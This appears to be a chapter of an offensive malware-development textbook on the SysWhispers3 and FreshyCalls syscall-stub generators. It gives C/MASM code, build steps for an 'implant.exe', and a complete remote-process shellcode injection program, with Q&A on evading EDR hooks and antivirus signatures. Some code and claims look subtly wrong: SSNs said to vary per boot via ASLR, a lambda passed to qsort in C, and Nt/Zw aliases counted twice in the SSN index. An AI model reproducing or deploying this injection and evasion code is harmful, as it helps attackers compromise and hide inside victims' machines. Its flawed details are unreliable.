Chapter 44

SysWhispers3 and FreshyCalls

Writing direct syscall stubs by hand (Chapters 41–43) is tedious, error-prone, and requires updating every time you add a new NT function to your implant. The security community built automation around this: SysWhispers3 generates ready-to-compile C/ASM headers that embed Hell's Gate SSN resolution, indirect syscall support, and egg-hunting fallback — all as a pre-compile step. FreshyCalls takes a different angle: it resolves SSNs purely by sorting function addresses in the EAT, avoiding any memory scanning at all. This chapter covers both tools, what they generate, and how to integrate them into an implant project.

Why Automated Syscall Generation Matters

The maintenance problem with hand-written stubs
  Manual approach (Chapters 41–43):
  ─────────────────────────────────────────────────────────────────────────
  For each NT function you need:
    1. Write the typedef (all 10+ parameters correctly)
    2. Write the SSN resolution function (Hell's Gate / Halo's Gate)
    3. Write the syscall stub (template + VirtualAlloc + memcpy)
    4. Write the call site (cast to correct function type)
    5. Handle hooked stub fallback (Tartarus' Gate / disk read)
    6. If you want indirect: also find and store the syscall gadget address
  
  For a real implant using 8-10 NT functions, that's 50-80 lines per function
  just for the syscall infrastructure, plus it breaks every time you forget
  to update a typedef or get an argument order wrong.
  
  SysWhispers3 (automated):
  ─────────────────────────────────────────────────────────────────────────
  $ python3 syswhispers.py --preset common --out inject
  
  Outputs:
    inject.h    — all typedefs, all Sys* function declarations
    inject.asm  — stub assembly for each function (MASM/NASM/WDK)
  
  Your code:
    #include "inject.h"    // done
    SysAllocateVirtualMemory(...)  // call it — SSN resolution + stub happens automatically
  
  SysWhispers3 features:
    ✓ Supports direct AND indirect syscall modes (flag at generation time)
    ✓ Hell's Gate + Halo's Gate + Tartarus' Gate fallback chain built in
    ✓ Egg-hunting mode: search ntdll on disk without mapping
    ✓ Random seed per build (changes stub layout each compile)
    ✓ WOW64 (32-bit process on 64-bit OS) support
    ✓ Jumps over page boundaries for gadget search

What SysWhispers3 Generates

/* ── SysWhispers3-generated header (excerpt, inject.h) ─────────────── */
/*
 * You don't write this file — it's generated by syswhispers.py.
 * Shown here so you understand what the tool produces and why.
 */

/* Generated typedefs (SysWhispers3 produces all of these from winternl.h sources) */
typedef struct _SW3_SYSCALL_ENTRY {
    DWORD  Hash;       /* CRC32 hash of the function name */
    DWORD  Address;    /* RVA of function in ntdll */
    PVOID  SyscallAddress; /* address of 'syscall' instruction (indirect mode) */
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;

typedef struct _SW3_SYSCALL_LIST {
    DWORD Count;
    SW3_SYSCALL_ENTRY Entries[512];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;

/* The function list is built at runtime by SW3_PopulateSyscallList():
   - Parse ntdll's EAT
   - Hash every function name with CRC32
   - Record RVA (for FreshyCalls-style SSN ordering)
   - Sort by RVA ascending
   - SSN = index in sorted list (for functions with names starting "Nt"/"Zw")
*/

/* Declarations of the Sys* wrappers — these call into the .asm stubs */
NTSTATUS SysNtAllocateVirtualMemory(
    HANDLE   ProcessHandle,
    PVOID   *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T  RegionSize,
    ULONG    AllocationType,
    ULONG    Protect
);

NTSTATUS SysNtWriteVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID   BaseAddress,
    PVOID   Buffer,
    SIZE_T  NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

NTSTATUS SysNtCreateThreadEx(
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE             ProcessHandle,
    LPTHREAD_START_ROUTINE StartRoutine,
    PVOID              Argument,
    ULONG              CreateFlags,
    SIZE_T             ZeroBits,
    SIZE_T             StackSize,
    SIZE_T             MaximumStackSize,
    PPS_ATTRIBUTE_LIST AttributeList
);
; ── SysWhispers3-generated MASM stub (inject.asm excerpt) ───────────
; This is what the .asm file looks like for indirect syscall mode.
; MASM syntax (assembled by ml64.exe in the MSVC toolchain).

.code

; Global variable holding the 'syscall; ret' gadget address.
; SW3_PopulateSyscallList() fills this in at runtime.
SysNtAllocateVirtualMemory_SyscallAddress QWORD 0

SysNtAllocateVirtualMemory PROC
    ; Invoke SW3_GetSyscallNumber with the CRC32 hash of
    ; "NtAllocateVirtualMemory" to get the SSN for this call.
    ; The SSN varies per boot (ASLR affects load order) — resolved at runtime.
    mov rax, 0B99DB7C2h      ; CRC32("NtAllocateVirtualMemory")
    call SW3_GetSyscallNumber ; returns SSN in rax
    mov r10, rcx             ; mandatory: rcx → r10 before syscall ABI
    ; In indirect mode: JMP to the stored syscall gadget address.
    ; The gadget address was stored by SW3_PopulateSyscallList().
    jmp SysNtAllocateVirtualMemory_SyscallAddress
SysNtAllocateVirtualMemory ENDP

END
/* ── SW3_PopulateSyscallList() logic (C equivalent of the SW3 init) ─── */
/*
 * Run once at startup. Walks ntdll EAT, hashes all names,
 * stores RVAs, sorts by RVA, then assigns SSNs as the sorted index.
 * This is the FreshyCalls approach to SSN resolution — no byte scanning.
 */
BOOL SW3_PopulateSyscallList(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)hNtdll + dos->e_lfanew);

    DWORD eat_rva = nt->OptionalHeader.DataDirectory[0].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hNtdll + eat_rva);

    PDWORD names   = (PDWORD)((PBYTE)hNtdll + eat->AddressOfNames);
    PDWORD funcs   = (PDWORD)((PBYTE)hNtdll + eat->AddressOfFunctions);
    PWORD  ordinals = (PWORD)((PBYTE)hNtdll + eat->AddressOfNameOrdinals);

    SW3_SYSCALL_LIST list = {0};

    for (DWORD i = 0; i < eat->NumberOfNames; i++) {
        const char *name = (const char *)((PBYTE)hNtdll + names[i]);
        /* Only Nt* and Zw* functions are syscalls */
        if (name[0] != 'N' || name[1] != 't') {
            if (name[0] != 'Z' || name[1] != 'w') continue;
        }
        DWORD rva = funcs[ordinals[i]];
        DWORD hash = SW3_CRC32(name);  /* CRC32 for name lookup without strings */

        /* Find the syscall gadget for indirect mode */
        PBYTE stub = (PBYTE)hNtdll + rva;
        PVOID gadget = NULL;
        for (int j = 0; j < 32; j++) {
            if (stub[j] == 0x0F && stub[j+1] == 0x05) {
                gadget = stub + j;
                break;
            }
        }

        list.Entries[list.Count].Hash           = hash;
        list.Entries[list.Count].Address        = rva;
        list.Entries[list.Count].SyscallAddress = gadget;
        list.Count++;
    }

    /* Sort by RVA ascending — SSN = position in this sorted list */
    /* (qsort on .Address field) */
    qsort(list.Entries, list.Count, sizeof(SW3_SYSCALL_ENTRY),
          [](const void *a, const void *b) {
              return (int)(((SW3_SYSCALL_ENTRY*)a)->Address
                         - ((SW3_SYSCALL_ENTRY*)b)->Address);
          });
    /* Now list.Entries[i] corresponds to SSN=i for the i-th Nt* function by RVA */
    /* (Zw* functions are mapped to their Nt* counterparts — same SSN) */

    g_SW3List = list;  /* store globally */
    return TRUE;
}

FreshyCalls: EAT Sort for SSN Resolution

FreshyCalls approach vs Hell's Gate approach
  Hell's Gate (Ch41 / Ch42):
  ─────────────────────────────────────────────────────────────────────────
  Goal: read SSN from the bytes of the ntdll stub.
  Method: look at bytes [+3..+7] of NtAllocateVirtualMemory — the "B8 XX XX XX XX"
          (mov eax, SSN) instruction.
  Problem: if the stub is hooked, byte +3 may be overwritten (JMP, not B8).
  Fallback: scan EAT neighbors (Halo's Gate), or scan on disk (Ch39).
  
  FreshyCalls:
  ─────────────────────────────────────────────────────────────────────────
  Goal: determine SSN WITHOUT reading stub bytes at all.
  
  Key insight: In ntdll, syscall numbers are assigned by the kernel in the
  SAME ORDER as the Nt* functions appear in the EAT sorted by RVA.
  
  The Windows kernel assigns SSN 0 to the Nt* function at the lowest
  virtual address in ntdll, SSN 1 to the next, and so on.
  
  So:
    - Parse ntdll EAT → collect all Nt*/Zw* functions and their RVAs
    - Sort by RVA ascending
    - The index of your target function in this sorted list = its SSN
  
  No stub byte reading. No pattern scanning. No memory page access beyond
  parsing the EAT (which is always readable and rarely hooked).
  
  This survives even when every stub is hooked:
  ─────────────────────────────────────────────────────────────────────────
  Hook overwrites first N bytes of the stub → stub memory is modified.
  FreshyCalls never reads stub memory → completely unaffected by hooks.
  FreshyCalls only reads the EAT (AddressOfFunctions) → not modified by EDR hooks.
  
  Limitation:
  ─────────────────────────────────────────────────────────────────────────
  Assumes that SSN assignment matches the EAT RVA order.
  This is empirically true on all tested Windows builds (7 through 11 24H2).
  Microsoft hasn't broken this invariant, but it's not a documented guarantee.
  SysWhispers3 uses this as the primary method, with stub-byte scanning as
  a sanity check cross-reference.
/* ── FreshyCalls standalone implementation ───────────────────────────── */
/*
 * Pure EAT-sort approach for SSN resolution.
 * No stub byte scanning, no Hell's Gate, no fallback chain needed.
 */

typedef struct {
    const char *name;
    DWORD rva;
} EatEntry;

static int compare_rva(const void *a, const void *b) {
    return (int)(((EatEntry*)a)->rva - ((EatEntry*)b)->rva);
}

DWORD freshycalls_get_ssn(const char *target_name) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS nt  = RtlImageNtHeader(hNtdll);

    DWORD eat_rva = nt->OptionalHeader.DataDirectory[0].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hNtdll + eat_rva);

    PDWORD names    = (PDWORD)((PBYTE)hNtdll + eat->AddressOfNames);
    PDWORD funcs    = (PDWORD)((PBYTE)hNtdll + eat->AddressOfFunctions);
    PWORD  ordinals = (PWORD)((PBYTE)hNtdll + eat->AddressOfNameOrdinals);

    /* Collect all Nt* functions and their RVAs */
    static EatEntry entries[512];
    DWORD count = 0;

    for (DWORD i = 0; i < eat->NumberOfNames; i++) {
        const char *name = (const char *)((PBYTE)hNtdll + names[i]);
        if ((name[0] == 'N' && name[1] == 't') ||
            (name[0] == 'Z' && name[1] == 'w')) {
            entries[count].name = name;
            entries[count].rva  = funcs[ordinals[i]];
            count++;
        }
    }

    /* Sort by RVA — this ordering matches kernel SSN assignment */
    qsort(entries, count, sizeof(EatEntry), compare_rva);

    /* Find our target function — its index is the SSN */
    for (DWORD i = 0; i < count; i++) {
        if (strcmp(entries[i].name, target_name) == 0) {
            return i;  /* SSN = position in RVA-sorted list */
        }
    }
    return 0xFFFFFFFF;  /* not found */
}

/* Usage in an indirect syscall implant */
static BOOL run_freshycalls_demo(void) {
    DWORD ssn = freshycalls_get_ssn("NtAllocateVirtualMemory");
    printf("[+] FreshyCalls SSN for NtAllocateVirtualMemory: 0x%04lX\n", ssn);

    PVOID gadget = find_syscall_ret_gadget("NtAllocateVirtualMemory"); /* from Ch43 */
    IndirectSyscallFn SysAllocVM = make_indirect_stub(ssn, gadget);

    PVOID base = NULL;
    SIZE_T size = 0x1000;
    NTSTATUS status = SysAllocVM(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    printf("[+] Self-allocation result: status=0x%08lX, base=%p\n", status, base);
    if (base) VirtualFree(base, 0, MEM_RELEASE);
    return NT_SUCCESS(status);
}

Integrating SysWhispers3 Into a Real Implant

# ── SysWhispers3 workflow from scratch ────────────────────────────────

# 1. Clone SysWhispers3 (maintained fork, supports Win10/11 + indirect)
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip3 install -r requirements.txt

# 2. Generate stubs for specific functions in INDIRECT mode
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,\
NtOpenProcess,NtProtectVirtualMemory,NtReadVirtualMemory \
    --out inject \
    --syscall-instruction indirect \
    --verbose

# Output files:
#   inject.h    — typedefs + Sys* function declarations
#   inject.c    — SW3_PopulateSyscallList + CRC32 + stub management
#   inject.asm  — MASM stubs for each function

# 3. Compile with MASM (Visual Studio / cl.exe toolchain)
ml64.exe /c /Fo inject_asm.obj inject.asm
cl.exe /O2 /c /Fo inject_c.obj inject.c
cl.exe /O2 your_implant.c inject_asm.obj inject_c.obj /link /out:implant.exe

# OR with MinGW + NASM (choose --asm nasm at generation time)
python3 syswhispers.py --functions NtAllocateVirtualMemory \
    --out inject --asm nasm --syscall-instruction indirect
nasm -f win64 inject.asm -o inject_asm.o
x86_64-w64-mingw32-gcc -O2 your_implant.c inject.c inject_asm.o -o implant.exe
/* ── your_implant.c: using SysWhispers3-generated stubs ─────────────── */
#include "inject.h"     /* SysWhispers3-generated header */
#include <stdio.h>

/* Call SW3_PopulateSyscallList() once before any Sys* calls */
int main(void) {
    if (!SW3_PopulateSyscallList()) {
        fprintf(stderr, "[-] Failed to resolve syscall list\n");
        return 1;
    }
    printf("[+] Syscall list resolved (%lu entries)\n", SW3_GetSyscallCount());

    /* Now use Sys* functions exactly like Win32 API — no stub management */
    HANDLE hProc;
    OBJECT_ATTRIBUTES oa = {sizeof(oa), 0};
    CLIENT_ID cid = { (HANDLE)(ULONG_PTR)target_pid, 0 };

    NTSTATUS st = SysNtOpenProcess(&hProc,
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
        &oa, &cid);
    if (!NT_SUCCESS(st)) { printf("[-] NtOpenProcess: %08lX\n", st); return 1; }

    PVOID remote_base = NULL;
    SIZE_T alloc_size = shellcode_len;
    st = SysNtAllocateVirtualMemory(hProc, &remote_base, 0, &alloc_size,
                                     MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(st)) { printf("[-] NtAllocateVirtualMemory: %08lX\n", st); return 1; }

    SIZE_T written = 0;
    st = SysNtWriteVirtualMemory(hProc, remote_base,
                                  shellcode, shellcode_len, &written);

    ULONG old_protect;
    st = SysNtProtectVirtualMemory(hProc, &remote_base, &alloc_size,
                                    PAGE_EXECUTE_READ, &old_protect);

    HANDLE hThread;
    st = SysNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
                              hProc, (LPTHREAD_START_ROUTINE)remote_base,
                              NULL, 0, 0, 0, 0, NULL);
    printf("[+] Remote thread: %08lX\n", st);
    CloseHandle(hProc);
    return 0;
}

Questions & Answers

What makes FreshyCalls's EAT-sort SSN approach reliable despite not reading stub bytes?

The reliability comes from a kernel implementation detail: Windows assigns SSNs to Nt* functions in the exact order they appear in ntdll's code section by address. Because ntdll's EAT records the RVA (relative virtual address) of each function, and the RVA ordering matches the physical code ordering, sorting by RVA gives you the same sequence the kernel used for SSN assignment. This has been consistent across Windows 7, 8, 10, and 11 including all major updates. Since EDR hooks don't modify the EAT (they patch the function stub bytes), FreshyCalls reads unmodified data. The only scenario where this could fail is if Microsoft changed the SSN assignment algorithm — which would break all existing malware AND legitimate hooking tools simultaneously, making it a very high-cost change Microsoft is unlikely to make without broad announcement.

How does SysWhispers3's CRC32 function name hashing help evasion?

When you include SysWhispers3-generated code, function names like "NtAllocateVirtualMemory" never appear as plaintext strings in your binary. Instead, each function is identified by its CRC32 hash (a 4-byte constant baked into the .asm stub). At runtime, SW3_GetSyscallNumber() computes the CRC32 of every Nt* name found in the EAT and compares against the stored hash. String-based YARA rules and AV signatures that scan for "NtAllocateVirtualMemory" as a plaintext string find nothing. This isn't a strong evasion on its own (signature writers can match on the CRC32 constants), but combined with stub obfuscation (random NOP padding, varied byte sequences), it raises the cost of static detection significantly.

When should you use SysWhispers3's "egg-hunting" mode versus the default EAT-walk mode?

Egg-hunting mode scans ntdll's memory for the byte sequence 4C 8B D1 B8 (mov r10,rcx; mov eax) rather than parsing the EAT structure. It's useful when you suspect the EAT has been tampered with (some very aggressive EDRs patch EAT entries to redirect calls through a monitoring shim). In practice, EAT tampering is rare because it's highly visible and breaks legitimate code. Default EAT-walk mode is faster, more reliable, and less likely to false-positive on non-stub bytes. Use egg-hunting only if you observe that the standard mode fails on a specific EDR deployment, which you'd discover during engagement testing.

SysWhispers3 generates MASM syntax (.asm files). What if your build chain doesn't have ml64.exe?

Generate with --asm nasm flag to get NASM syntax instead. NASM is freely available on Linux and Windows and integrates with MinGW. There's also an unofficial fork that generates GAS (GNU assembler) syntax for use with gcc directly. If you can't use any assembler, you can implement the stubs entirely in C with inline assembly via __asm__ (GCC) or __asm (MSVC), but this is harder to maintain than generated .asm. A third option: write the stub bytes directly into a BYTE[] array and cast it to a function pointer — this is what the hand-written approach in Ch41 did, and SysWhispers3 can optionally emit its stubs as C-style byte arrays with the --classic-stub flag, though this loses the cleaner call interface.

Does SysWhispers3 work on 32-bit processes running under WOW64 on 64-bit Windows?

Yes, with caveats. In a 32-bit (WOW64) process, syscalls go through the WOW64 compatibility layer rather than directly to the 64-bit kernel. The layer translates 32-bit arguments to 64-bit and then issues the real syscall. SysWhispers3 supports this via its --wow64 flag, which generates a different stub that uses the int 0x2E or int 0x2B instruction (WOW64's legacy syscall gate) rather than syscall. SSNs for WOW64 are different from native 64-bit SSNs — the tool handles this correctly by reading from the 32-bit portion of ntdll. In practice, modern implants run as 64-bit processes (because your initial foothold via phishing executes a 64-bit payload), so WOW64 mode is mainly relevant for legacy payloads or specific targets where you can only get 32-bit code execution.